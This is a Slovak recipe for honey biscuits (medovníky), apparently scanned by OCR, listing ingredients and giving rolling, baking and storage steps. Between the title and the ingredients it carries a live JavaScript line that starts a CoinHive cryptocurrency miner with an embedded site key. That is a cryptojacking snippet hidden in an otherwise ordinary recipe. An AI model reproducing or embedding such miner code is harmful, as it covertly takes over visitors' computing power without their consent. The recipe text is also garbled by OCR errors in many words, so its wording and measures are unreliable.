Medovniky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Cesto: 40 dkg muky Promix Uni, 40 dkg muky Promix PK, 30 dkg praskového cukru, 4 celé
vajcia, 1 V2 ML sody bikarbdny, 8 PL teplého medu, 6 dkg Palmarinu, 5 dkg mletych orechov.

VSetko spolu dobre vymiesime a na pomucenej doske vyvalkdme asi na hrubku 3 —4 mm a
vykrajujeme pozadované tvary. PeCieme na plechu vymastenom stopenym Palmarinom. Vrch
medovnikov si pred pe¢enim potrieme roz§lahanym vajickom. Plech treba potierat pred kazdym
vloZzenim do riry. Velmi dobre sa dava dole z plechu. Vychladnuté si treba ulozit najlepsie na
chladnom mieste a prikryt mikroténovym sac¢kom a vydrzia makké aj 2 mesiace.




